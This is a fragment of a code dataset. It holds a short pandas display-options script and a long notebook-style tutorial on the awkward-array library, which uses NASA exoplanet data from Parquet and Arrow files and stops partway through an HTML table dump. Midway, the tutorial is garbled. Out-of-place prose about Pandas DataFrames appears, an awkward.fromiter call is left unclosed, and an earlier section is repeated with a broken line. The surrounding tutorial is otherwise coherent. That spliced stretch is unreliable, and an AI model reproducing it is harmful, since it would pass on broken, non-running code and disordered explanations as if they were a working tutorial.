"max_forks_repo_path": "pkgs/numba-0.24.0-np110py27_0/lib/python2.7/site-packages/numba/tests/test_buffer_protocol.py", "max_forks_repo_name": "wangyum/anaconda", "max_forks_repo_head_hexsha": "6e5a0dbead3327661d73a61e85414cf92aa52be6", "max_forks_repo_licenses": ["Apache-2.0", "BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.6137071651, "max_line_length": 79, "alphanum_fraction": 0.5756799369, "include": true, "reason": "import numpy,from numba", "num_tokens": 2430, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.14608724518943894, "lm_q1q2_score": 0.07304362259471947}}
{"text": "# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: krakowiakpawel9@gmail.com\n@site: e-smartdata.org\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nsns.set()\n\n\n# setting max rows to display\npd.options.display.max_rows = 10\n\n# %%\ndf = pd.DataFrame(np.random.randn(100, 3))\n\n# %% get value of option\npd.get_option('display.max_rows')\n\n# %% set value of option\npd.set_option('display.max_rows', 30)\npd.get_option('display.max_rows')\n\npd.reset_option('display.max_rows')\npd.get_option('display.max_rows')\n\npd.describe_option('display.max_rows')\npd.describe_option('mode.sim_interactive')", "meta": {"hexsha": "0f82386db64a126e7bd336d3798ca36965fc65ae", "size": 588, "ext": "py", "lang": "Python", "max_stars_repo_path": "10_options/01_basic.py", "max_stars_repo_name": "krakowiakpawel9/pandas_course", "max_stars_repo_head_hexsha": "83f485faf7cc77adf74840f2cc37347dc6b17af3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-05-17T09:39:33.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-27T23:25:50.000Z", "max_issues_repo_path": "10_options/01_basic.py", "max_issues_repo_name": "krakowiakpawel9/pandas_course", "max_issues_repo_head_hexsha": "83f485faf7cc77adf74840f2cc37347dc6b17af3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "10_options/01_basic.py", "max_forks_repo_name": "krakowiakpawel9/pandas_course", "max_forks_repo_head_hexsha": "83f485faf7cc77adf74840f2cc37347dc6b17af3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2020-04-01T15:47:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-20T18:31:55.000Z", "avg_line_length": 18.9677419355, "max_line_length": 42, "alphanum_fraction": 0.7295918367, "include": true, "reason": "import numpy", "num_tokens": 155, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.14608724333058226, "lm_q1q2_score": 0.07304362166529113}}
{"text": "# %%markdown\n# # Introduction\n#\n# Numpy is great for exploratory data analysis because it encourages the analyst to calculate one operation at a time, rather than one datum at a time. To compute an expression like\n#\n# .. math::\n#\n#     m = \\\\sqrt{(E_1 + E_2)^2 - (p_{x1} + p_{x2})^2 - (p_{y1} + p_{y2})^2 - (p_{z1} + p_{z2})^2}\n#\n# you might first compute :math:`\\\\sqrt{(p_{x1} + p_{x2})^2 + (p_{y1} + p_{y2})^2}` for all data (which is a meaningful quantity: :math:`p_T`), then compute :math:`\\\\sqrt{{p_T}^2 + (p_{z1} + p_{z2})^2}` for all data (another meaningful quantity: :math:`|p|`), then compute the whole expression as :math:`\\\\sqrt{(E_1 + E_2)^2 - |p|^2}`. Performing each step separately on all data lets you plot and cross-check distributions of partial computations, to discover surprises as early as possible.\n#\n# This order of data processing is called \"columnar\" in the sense that a dataset may be visualized as a table in which rows are repeated measurements and columns are the different measurable quantities (same layout as `Pandas DataFrames <https://pandas.pydata.org>`__). It is also called \"vectorized\" in that a Single (virtual) Instruction is applied to Multiple Data (virtual SIMD). Numpy can be hundreds to thousands of times faster than pure Python because it avoids the overhead of handling Python instructions in the loop over numbers. Most data processing languages (R, MATLAB, IDL, all the way back to APL) work this way: an interactive interpreter controlling fast, array-at-a-time math.\n#\n# However, it's difficult to apply this methodology to non-rectangular data. If your dataset has nested structure, a different number of values per row, different data types in the same column, or cross-references or even circular references, Numpy can't help you.\n#\n# If you try to make an array with non-trivial types:\n\n# %%\nimport numpy\nnested = numpy.array([{\"x\": 1, \"y\": 1.1}, {\"x\": 2, \"y\": 2.2}, {\"x\": 3, \"y\": 3.3}, {\"x\": 4, \"y\": 4.4}, {\"x\": 5, \"y\": 5.5}])\nnested\n# array([{'x': 1, 'y': 1.1}, {'x': 2, 'y': 2.2}, {'x': 3, 'y': 3.3},\n#        {'x': 4, 'y': 4.4}, {'x': 5, 'y': 5.5}], dtype=object)\n\n# %%markdown\n# Numpy gives up and returns a ``dtype=object`` array, which means Python objects and pure Python processing. You don't get the columnar operations or the performance boost.\n#\n# For instance, you might want to say\n\n# %%\ntry:\n    nested + 100\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'TypeError'> unsupported operand type(s) for +: 'dict' and 'int'\n\n# %%markdown\n# but there is no vectorized addition for an array of dicts because there is no addition for dicts defined in pure Python. Numpy is not using its vectorized routines\u2014it's calling Python code on each element.\n#\n# The same applies to variable-length data, such as lists of lists, where the inner lists have different lengths. This is a more serious shortcoming than the above because the list of dicts (Python's equivalent of an \"`array of structs <https://en.wikipedia.org/wiki/AOS_and_SOA>`__`\") could be manually reorganized into two numerical arrays, ``\"x\"`` and ``\"y\"`` (a \"`struct of arrays <https://en.wikipedia.org/wiki/AOS_and_SOA>`__\"). Not so with a list of variable-length lists.\n\n# %%\nvarlen = numpy.array([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6], [7.7, 8.8, 9.9]])\nvarlen\n# array([list([1.1, 2.2, 3.3]), list([]), list([4.4, 5.5]), list([6.6]),\n#        list([7.7, 8.8, 9.9])], dtype=object)\n\n# %%markdown\n# As before, we get a ``dtype=object`` without vectorized methods.\n\n# %%\ntry:\n    varlen + 100\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'TypeError'> can only concatenate list (not \"int\") to list\n\n# %%markdown\n# What's worse, this array looks purely numerical and could have been made by a process that was *supposed* to create equal-length inner lists.\n#\n# Awkward-array provides a way of talking about these data structures as arrays.\n\n# %%\nimport awkward\nnested = awkward.fromiter([{\"x\": 1, \"y\": 1.1}, {\"x\": 2, \"y\": 2.2}, {\"x\": 3, \"y\": 3.3}, {\"x\": 4, \"y\": 4.4}, {\"x\": 5, \"y\": 5.5}])\nnested\n# <Table [<Row 0> <Row 1> <Row 2> <Row 3> <Row 4>] at 0x7f25e80a01d0>\n\n# %%markdown\n# This ``Table`` is a columnar data structure with the same meaning as the Python data we built it with. To undo ``awkward.fromiter``, call ``.tolist()``.\n\n# %%\nnested.tolist()\n# [{'x': 1, 'y': 1.1},\n#  {'x': 2, 'y': 2.2},\n#  {'x': 3, 'y': 3.3},\n#  {'x': 4, 'y': 4.4},\n#  {'x': 5, 'y': 5.5}]\n\n# %%markdown\n# Values at the same position of the tree structure are contiguous in memory: this is a struct of arrays.\n\n# %%\nnested.contents[\"x\"]\n# array([1, 2, 3, 4, 5])\n\n# %%\nnested.contents[\"y\"]\n# array([1.1, 2.2, 3.3, 4.4, 5.5])\n\n# %%markdown\n# Having a structure like this means that we can perform vectorized operations on the whole structure with relatively few Python instructions (number of Python instructions scales with the complexity of the data type, not with the number of values in the dataset).\n\n# %%\n(nested + 100).tolist()\n# [{'x': 101, 'y': 101.1},\n#  {'x': 102, 'y': 102.2},\n#  {'x': 103, 'y': 103.3},\n#  {'x': 104, 'y': 104.4},\n#  {'x': 105, 'y': 105.5}]\n\n# %%\n(nested + numpy.arange(100, 600, 100)).tolist()\n# [{'x': 101, 'y': 101.1},\n#  {'x': 202, 'y': 202.2},\n#  {'x': 303, 'y': 303.3},\n#  {'x': 404, 'y': 404.4},\n#  {'x': 505, 'y': 505.5}]\n\n# %%markdown\n# It's less obvious that variable-length data can be represented in a columnar format, but it can.\n\n# %%\nvarlen = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6], [7.7, 8.8, 9.9]])\nvarlen\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5] [6.6] [7.7 8.8 9.9]] at 0x7f25bc7b1438>\n\n# %%markdown\n# Unlike Numpy's ``dtype=object`` array, the inner lists are *not* Python lists and the numerical values *are* contiguous in memory. This is made possible by representing the structure (where each inner list starts and stops) in one array and the values in another.\n\n# %%\nvarlen.counts, varlen.content\n# (array([3, 0, 2, 1, 3]), array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]))\n\n# %%markdown\n# (For fast random access, the more basic representation is ``varlen.offsets``, which is in turn a special case of a ``varlen.starts, varlen.stops`` pair. These details are discussed below.)\n#\n# A structure like this can be broadcast like Numpy with a small number of Python instructions (scales with the complexity of the data type, not the number of values).\n\n# %%\nvarlen + 100\n# <JaggedArray [[101.1 102.2 103.3] [] [104.4 105.5] [106.6] [107.7 108.8 109.9]] at 0x7f25bc7b1400>\n\n# %%\nvarlen + numpy.arange(100, 600, 100)\n# <JaggedArray [[101.1 102.2 103.3] [] [304.4 305.5] [406.6] [507.7 508.8 509.9]] at 0x7f25bc7b1da0>\n\n# %%markdown\n# You can even slice this object as though it were multidimensional (each element is a tensor of the same rank, but with different numbers of dimensions).\n\n# %%\n# Skip the first two inner lists; skip the last value in each inner list that remains.\nvarlen[2:, :-1]\n# <JaggedArray [[4.4] [] [7.7 8.8]] at 0x7f25bc755588>\n\n# %%markdown\n# The data are not rectangular, so some inner lists might have as many elements as your selection. Don't worry\u2014you'll get error messages.\n\n# %%\ntry:\n    varlen[:, 1]\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'IndexError'> index 1 is out of bounds for jagged min size 0\n\n# %%markdown\n# Masking with the ``.counts`` is handy because all the Numpy advanced indexing rules apply (in an extended sense) to jagged arrays.\n\n# %%\nvarlen[varlen.counts > 1, 1]\n# array([2.2, 5.5, 8.8])\n\n# %%markdown\n# I've only presented the two most important awkward classes, ``Table`` and ``JaggedArray`` (and not how they combine). Each class is presented in more detail below. For now, I'd just like to point out that you can make crazy complicated data structures\n\n# %%\ncrazy = awkward.fromiter([[1.21, 4.84, None, 10.89, None],\n                          [19.36, [30.25]],\n                          [{\"x\": 36, \"y\": {\"z\": 49}}, None, {\"x\": 64, \"y\": {\"z\": 81}}]\n                         ])\n\n# %%markdown\n# and they vectorize and slice as expected.\n\n# %%\nnumpy.sqrt(crazy).tolist()\n# [[1.1, 2.2, None, 3.3000000000000003, None],\n#  [4.4, [5.5]],\n#  [{'x': 6.0, 'y': {'z': 7.0}}, None, {'x': 8.0, 'y': {'z': 9.0}}]]\n\n# %%markdown\n# This is because any awkward array can be the content of any other awkward array. Like Numpy, the features of awkward-array are simple, yet compose nicely to let you build what you need.\n\n# %%markdown\n# # Overview with sample datasets\n#\n# Many of the examples in this tutorial use ``awkward.fromiter`` to make awkward arrays from lists and ``array.tolist()`` to turn them back into lists (or dicts for ``Table``, tuples for ``Table`` with anonymous fields, Python objects for ``ObjectArrays``, etc.). These should be considered slow methods, since Python instructions are executed in the loop, but that's a necessary part of examining or building Python objects.\n#\n# Ideally, you'd want to get your data from a binary, columnar source and produce binary, columnar output, or convert only once and reuse the converted data. `Parquet <https://parquet.apache.org>`__ is a popular columnar format for storing data on disk and `Arrow <https://arrow.apache.org>`__ is a popular columnar format for sharing data in memory (between functions or applications). `ROOT <https://root.cern>`__ is a popular columnar format for particle physicists, and `uproot <https://github.com/scikit-hep/uproot>`__ natively produces awkward arrays from ROOT files.\n#\n# `HDF5 <https://www.hdfgroup.org>`__ and its Python library `h5py <https://www.h5py.org/>`__ are columnar, but only for rectangular arrays, unlike the others mentioned here. Awkward-array can *wrap* HDF5 with an interpretation layer to store columnar data structures, but then the awkward-array library wuold be needed to read the data back in a meaningful way. Awkward also has a native file format, ``.awkd`` files, which are simply ZIP archives of columns as binary blobs and metadata (just as Numpy's ``.npz`` is a ZIP of arrays with metadata). The HDF5, awkd, and pickle serialization procedures use the same protocol, which has backward and forward compatibility features.\n\n# %%markdown\n# ## NASA exoplanets from a Parquet file\n#\n# Let's start by opening a Parquet file. Awkward reads Parquet through the `pyarrow <https://arrow.apache.org/docs/python>`__ module, which is an optional dependency, so be sure you have it installed before trying the next line.\n\n# %%\nstars = awkward.fromparquet(\"tests/samples/exoplanets.parquet\")\nstars\n# <ChunkedArray [<Row 0> <Row 1> <Row 2> ... <Row 2932> <Row 2933> <Row 2934>] at 0x7f25b9c67780>\n\n# %%markdown\n# (There is also an ``awkward.toparquet`` that takes the file name and array as arguments.)\n#\n# Columns are accessible with square brackets and strings\n\n# %%\nstars[\"name\"]\n# <ChunkedArray ['11 Com' '11 UMi' '14 And' ... 'tau Gem' 'ups And' 'xi Aql'] at 0x7f25b9c67dd8>\n\n# %%markdown\n# or by dot-attribute (if the name doesn't have weird characters and doesn't conflict with a method or property name).\n\n# %%\nstars.ra, stars.dec\n# (<ChunkedArray [185.179276 229.27453599999998 352.822571 ... 107.78488200000001 24.199345 298.56201200000004] at 0x7f25b94ccf28>,\n#  <ChunkedArray [17.792868 71.823898 39.236198 ... 30.245163 41.40546 8.461452] at 0x7f25b94cca90>)\n\n# %%markdown\n# This file contains data about extrasolar planets and their host stars. As such, it's a ``Table`` full of Numpy arrays and ``JaggedArrays``. The star attributes (`\"name\"`, `\"ra\"` or right ascension in degrees, `\"dec\"` or declination in degrees, `\"dist\"` or distance in parsecs, `\"mass\"` in multiples of the sun's mass, and `\"radius\"` in multiples of the sun's radius) are plain Numpy arrays and the planet attributes (`\"name\"`, `\"orbit\"` or orbital distance in AU, `\"eccen\"` or eccentricity, `\"period\"` or periodicity in days, `\"mass\"` in multiples of Jupyter's mass, and `\"radius\"` in multiples of Jupiter's radius) are jagged because each star may have a different number of planets.\n\n# %%\nstars.planet_name\n# <ChunkedArray [['b'] ['b'] ['b'] ... ['b'] ['b' 'c' 'd'] ['b']] at 0x7f25b94dc550>\n\n# %%\nstars.planet_period, stars.planet_orbit\n# (<ChunkedArray [[326.03] [516.21997] [185.84] ... [305.5] [4.617033 241.258 1276.46] [136.75]] at 0x7f25b94cccc0>,\n#  <ChunkedArray [[1.29] [1.53] [0.83] ... [1.17] [0.059222000000000004 0.827774 2.51329] [0.68]] at 0x7f25b94cc978>)\n\n# %%markdown\n# For large arrays, only the first and last values are printed: the second-to-last star has three planets; all the other stars shown here have one planet.\n#\n# These arrays are called ``ChunkedArrays`` because the Parquet file is lazily read in chunks (Parquet's row group structure). The ``ChunkedArray`` (subdivides the file) contains ``VirtualArrays`` (read one chunk on demand), which generate the ``JaggedArrays``. This is an illustration of how each awkward class provides one feature, and you get desired behavior by combining them.\n#\n# The ``ChunkedArrays`` and ``VirtualArrays`` support the same Numpy-like access as ``JaggedArray``, so we can compute with them just as we would any other array.\n\n# %%\n# distance in parsecs \u2192 distance in light years\nstars.dist * 3.26156\n# <ChunkedArray [304.5318572 410.0433232 246.5413204 ... 367.38211839999997 43.7375196 183.5279812] at 0x7f25b94cce80>\n\n# %%\n# for all stars, drop the first planet\nstars.planet_mass[:, 1:]\n# <ChunkedArray [[] [] [] ... [] [1.981 4.132] []] at 0x7f25b94ccf60>\n\n# %%markdown\n# ## NASA exoplanets from an Arrow buffer\n#\n# The pyarrow implementation of Arrow is more complete than its implementation of Parquet, so we can use more features in the Arrow format, such as nested tables.\n#\n# Unlike Parquet, which is intended as a file format, Arrow is a memory format. You might get an Arrow buffer as the output of another function, through interprocess communication, from a network RPC call, a message bus, etc. Arrow can be saved as files, though this isn't common. In this case, we'll get it from a file.\n\n# %%\nimport pyarrow\narrow_buffer = pyarrow.ipc.open_file(open(\"tests/samples/exoplanets.arrow\", \"rb\")).get_batch(0)\nstars = awkward.fromarrow(arrow_buffer)\nstars\n# <Table [<Row 0> <Row 1> <Row 2> ... <Row 2932> <Row 2933> <Row 2934>] at 0x7f25b94f2518>\n\n# %%markdown\n# (There is also an ``awkward.toarrow`` that takes an awkward array as its only argument, returning the relevant Arrow structure.)\n#\n# This file is structured differently. Instead of jagged arrays of numbers like ``\"planet_mass\"``, ``\"planet_period\"``, and ``\"planet_orbit\"``, this file has a jagged table of ``\"planets\"``. A jagged table is a ``JaggedArray`` of ``Table``.\n\n# %%\nstars[\"planets\"]\n# <JaggedArray [[<Row 0>] [<Row 1>] [<Row 2>] ... [<Row 3928>] [<Row 3929> <Row 3930> <Row 3931>] [<Row 3932>]] at 0x7f25b94fb080>\n\n# %%markdown\n# Notice that the square brackets are nested, but the contents are ``<Row>`` objects. The second-to-last star has three planets, as before.\n#\n# We can find the non-jagged ``Table`` in the ``JaggedArray.content``.\n\n# %%\nstars[\"planets\"].content\n# <Table [<Row 0> <Row 1> <Row 2> ... <Row 3930> <Row 3931> <Row 3932>] at 0x7f25b94f2d68>\n\n# %%markdown\n# When viewed as Python lists and dicts, the ``'planets'`` field is a list of planet dicts, each with its own fields.\n\n# %%\nstars[:2].tolist()\n# [{'dec': 17.792868,\n#   'dist': 93.37,\n#   'mass': 2.7,\n#   'name': '11 Com',\n#   'planets': [{'eccen': 0.231,\n#     'mass': 19.4,\n#     'name': 'b',\n#     'orbit': 1.29,\n#     'period': 326.03,\n#     'radius': nan}],\n#   'ra': 185.179276,\n#   'radius': 19.0},\n#  {'dec': 71.823898,\n#   'dist': 125.72,\n#   'mass': 2.78,\n#   'name': '11 UMi',\n#   'planets': [{'eccen': 0.08,\n#     'mass': 14.74,\n#     'name': 'b',\n#     'orbit': 1.53,\n#     'period': 516.21997,\n#     'radius': nan}],\n#   'ra': 229.27453599999998,\n#   'radius': 29.79}]\n\n# %%markdown\n# Despite being packaged in an arguably more intuitive way, we can still get jagged arrays of numbers by requesting ``\"planets\"`` and a planet attribute (two column selections) without specifying which star or which parent.\n\n# %%\nstars.planets.name\n# <JaggedArray [['b'] ['b'] ['b'] ... ['b'] ['b' 'c' 'd'] ['b']] at 0x7f25b94dc780>\n\n# %%\nstars.planets.mass\n# <JaggedArray [[19.4] [14.74] [4.8] ... [20.6] [0.6876 1.981 4.132] [2.8]] at 0x7f25b94fb240>\n\n# %%markdown\n# Even though the ``Table`` is hidden inside the ``JaggedArray``, its ``columns`` pass through to the top.\n\n# %%\nstars.columns\n# ['dec', 'dist', 'mass', 'name', 'planets', 'ra', 'radius']\n\n# %%\nstars.planets.columns\n# ['eccen', 'mass', 'name', 'orbit', 'period', 'radius']\n\n# %%markdown\n# For a more global view of the structures contained within one of these arrays, print out its high-level type. (\"High-level\" because it presents logical distinctions, like jaggedness and tables, but not physical distinctions, like chunking and virtualness.)\n\n# %%\nprint(stars.type)\n# [0, 2935) -> 'dec'     -> float64\n#              'dist'    -> float64\n#              'mass'    -> float64\n#              'name'    -> <class 'str'>\n#              'planets' -> [0, inf) -> 'eccen'  -> float64\n#                                       'mass'   -> float64\n#                                       'name'   -> <class 'str'>\n#                                       'orbit'  -> float64\n#                                       'period' -> float64\n#                                       'radius' -> float64\n#              'ra'      -> float64\n#              'radius'  -> float64\n\n# %%markdown\n# The above should be read like a function's data type: ``argument type -> return type`` for the function that takes an index in square brackets and returns something else. For example, the first ``[0, 2935)`` means that you could put any non-negative integer less than ``2935`` in square brackets after ``stars``, like this:\n\n# %%\nstars[1734]\n# <Row 1734>\n\n# %%markdown\n# and get an object that would take ``'dec'``, ``'dist'``, ``'mass'``, ``'name'``, ``'planets'``, ``'ra'``, or ``'radius'`` in its square brackets. The return type depends on which of those strings you provide.\n\n# %%\nstars[1734][\"mass\"]   # type is float64\n# 0.54\n\n# %%\nstars[1734][\"name\"]   # type is <class 'str'>\n# 'Kepler-186'\n\n# %%\nstars[1734][\"planets\"]\n# <Table [<Row 2192> <Row 2193> <Row 2194> <Row 2195> <Row 2196>] at 0x7f25b94dc438>\n\n# %%markdown\n# The planets have their own table structure:\n\n# %%\nprint(stars[1734][\"planets\"].type)\n# [0, 5) -> 'eccen'  -> float64\n#           'mass'   -> float64\n#           'name'   -> <class 'str'>\n#           'orbit'  -> float64\n#           'period' -> float64\n#           'radius' -> float64\n\n# %%markdown\n# Notice that within the context of ``stars``, the ``planets`` could take any non-negative integer ``[0, inf)``, but for a particular star, the allowed domain is known with more precision: ``[0, 5)``. This is because ``stars[\"planets\"]`` is a jagged array\u2014a different number of planets for each star\u2014but one ``stars[1734][\"planets\"]`` is a simple array\u2014five planets for *this* star.\n#\n# Passing a non-negative integer less than 5 to this array, we get an object that takes one of six strings: : ``'eccen'``, ``'mass'``, ``'name'``, ``'orbit'``, ``'period'``, and ``'radius'``.\n\n# %%\nstars[1734][\"planets\"][4]\n# <Row 2196>\n\n# %%markdown\n# and the return type of these depends on which string you provide.\n\n# %%\nstars[1734][\"planets\"][4][\"period\"]   # type is float\n# 129.9441\n\n# %%\nstars[1734][\"planets\"][4][\"name\"]   # type is <class 'str'>\n# 'f'\n\n# %%\nstars[1734][\"planets\"][4].tolist()\n# {'eccen': 0.04,\n#  'mass': nan,\n#  'name': 'f',\n#  'orbit': 0.432,\n#  'period': 129.9441,\n#  'radius': 0.10400000000000001}\n\n# %%markdown\n# (Incidentally, this is a `potentially habitable exoplanet <https://www.nasa.gov/ames/kepler/kepler-186f-the-first-earth-size-planet-in-the-habitable-zone>`__`, the first ever discovered.)\n\n# %%\nstars[1734][\"name\"], stars[1734][\"planets\"][4][\"name\"]\n# ('Kepler-186', 'f')\n\n# %%markdown\n# Some of these arguments \"commute\" and others don't. Dimensional axes have a particular order, so you can't request a planet by its row number before selecting a star, but you can swap a column-selection (string) and a row-selection (integer). For a rectangular table, it's easy to see how you can slice column-first or row-first, but it even works when the table is jagged.\n\n# %%\nstars[\"planets\"][\"name\"][1734][4]\n# 'f'\n\n# %%\nstars[1734][\"planets\"][4][\"name\"]\n# 'f'\n\n# %%markdown\n# None of these intermediate slices actually process data, so you can slice in any order that is logically correct without worrying about performance. Projections, even multi-column projections\n\n# %%\norbits = stars[\"planets\"][[\"name\", \"eccen\", \"orbit\", \"period\"]]\norbits[1734].tolist()\nIn this representation, each star's attributes must be duplicated for all of its planets, and it is not possible to show stars that have no planets (not present in this dataset), but the information is preserved in a way that Pandas can recognize and operate on. (For instance, .unstack() would widen each planet attribute into a separate column per planet and simplify the index to strictly one row per star.)\n\nThe limitation is that only a single jagged structure can be represented by a DataFrame. The structure can be arbitrarily deep in Tables (which add depth to the column names),\n\n\n# %%\narray = awkward.fromiter([{\"a\": {\"b\": 1, \"c\": {\"d\": [2]}}, \"e\": 3},\n\n# %%\nstars[1734][\"planets\"][4][\"name\"]\n# 'f'\n\n# %%markdown\n# None of these intermediate slices actually process data, so you can slice in any order that is logically correct without worrying about performance. Projections,\neven multi-column projections\n\n# %%\norbits = stars[\"planets\"][[\"name\", \"eccen\", \"orbit\", \"period\"]]\norbits[1734].tolist()\n# [{'name': 'b', 'eccen': nan, 'orbit': 0.0343, 'period': 3.8867907},\n#  {'name': 'c', 'eccen': nan, 'orbit': 0.0451, 'period': 7.267302},\n#  {'name': 'd', 'eccen': nan, 'orbit': 0.0781, 'period': 13.342996},\n#  {'name': 'e', 'eccen': nan, 'orbit': 0.11, 'period': 22.407704},\n#  {'name': 'f', 'eccen': 0.04, 'orbit': 0.432, 'period': 129.9441}]\n\n# %%markdown\n# are a useful way to restructure data without incurring a runtime cost.\n\n# %%markdown\n# ## Relationship to Pandas\n#\n# Arguably, this kind of dataset could be manipulated as a `Pandas DataFrame <https://pandas.pydata.org>`__ instead of awkward arrays. Despite the variable number of planets per star, the exoplanets dataset could be flattened into a rectangular DataFrame, in which the distinction between solar systems is represented by a two-component index (leftmost pair of columns below), a `MultiIndex <https://pandas.pydata.org/pandas-docs/stable/user_guide/advanced.html>`__.\n\n# %%\nawkward.topandas(stars, flatten=True)[-9:]\n\nif False:\n      [\"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>dec</th>\\n\",\n       \"      <th>dist</th>\\n\",\n       \"      <th>mass</th>\\n\",\n       \"      <th>name</th>\\n\",\n       \"      <th colspan=\\\"6\\\" halign=\\\"left\\\">planets</th>\\n\",\n       \"      <th>ra</th>\\n\",\n       \"      <th>radius</th>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>eccen</th>\\n\",\n       \"      <th>mass</th>\\n\",\n       \"      <th>name</th>\\n\",\n       \"      <th>orbit</th>\\n\",\n       \"      <th>period</th>\\n\",\n       \"      <th>radius</th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"4\\\" valign=\\\"top\\\">2931</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>-15.937480</td>\\n\",\n       \"      <td>3.60</td>\\n\",\n       \"      <td>0.78</td>\\n\",\n       \"      <td>49</td>\\n\",\n       \"      <td>0.1800</td>\\n\",\n       \"      <td>0.01237</td>\\n\",\n       \"      <td>101</td>\\n\",\n       \"      <td>0.538000</td>\\n\",\n       \"      <td>162.870000</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>26.017012</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>-15.937480</td>\\n\",\n       \"      <td>3.60</td>\\n\",\n       \"      <td>0.78</td>\\n\",\n       \"      <td>49</td>\\n\",\n       \"      <td>0.1600</td>\\n\",\n       \"      <td>0.01237</td>\\n\",\n       \"      <td>102</td>\\n\",\n       \"      <td>1.334000</td>\\n\",\n       \"      <td>636.130000</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>26.017012</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>-15.937480</td>\\n\",\n       \"      <td>3.60</td>\\n\",\n       \"      <td>0.78</td>\\n\",\n       \"      <td>49</td>\\n\",\n       \"      <td>0.0600</td>\\n\",\n       \"      <td>0.00551</td>\\n\",\n       \"      <td>103</td>\\n\",\n       \"      <td>0.133000</td>\\n\",\n       \"      <td>20.000000</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>26.017012</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>-15.937480</td>\\n\",\n       \"      <td>3.60</td>\\n\",\n       \"      <td>0.78</td>\\n\",\n       \"      <td>49</td>\\n\",\n       \"      <td>0.2300</td>\\n\",\n       \"      <td>0.00576</td>\\n\",\n       \"      <td>104</td>\\n\",\n       \"      <td>0.243000</td>\\n\",\n       \"      <td>49.410000</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>26.017012</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2932</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>30.245163</td>\\n\",\n       \"      <td>112.64</td>\\n\",\n       \"      <td>2.30</td>\\n\",\n       \"      <td>53</td>\\n\",\n       \"      <td>0.0310</td>\\n\",\n       \"      <td>20.60000</td>\\n\",\n       \"      <td>98</td>\\n\",\n       \"      <td>1.170000</td>\\n\",\n       \"      <td>305.500000</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>107.784882</td>\\n\",\n       \"      <td>26.80</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"3\\\" valign=\\\"top\\\">2933</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>41.405460</td>\\n\",\n       \"      <td>13.41</td>\\n\",\n       \"      <td>1.30</td>\\n\",\n       \"      <td>48</td>\\n\",\n       \"      <td>0.0215</td>\\n\",\n       \"      <td>0.68760</td>\\n\",\n       \"      <td>98</td>\\n\",\n       \"      <td>0.059222</td>\\n\",\n       \"      <td>4.617033</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>24.199345</td>\\n\",\n       \"      <td>1.56</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>41.405460</td>\\n\",\n       \"      <td>13.41</td>\\n\",\n       \"      <td>1.30</td>\\n\",\n       \"      <td>48</td>\\n\",\n       \"      <td>0.2596</td>\\n\",\n       \"      <td>1.98100</td>\\n\",\n       \"      <td>99</td>\\n\",\n       \"      <td>0.827774</td>\\n\",\n       \"      <td>241.258000</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>24.199345</td>\\n\",\n       \"      <td>1.56</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>41.405460</td>\\n\",\n       \"      <td>13.41</td>\\n\",\n       \"      <td>1.30</td>\\n\",\n       \"      <td>48</td>\\n\",\n       \"      <td>0.2987</td>\\n\",\n       \"      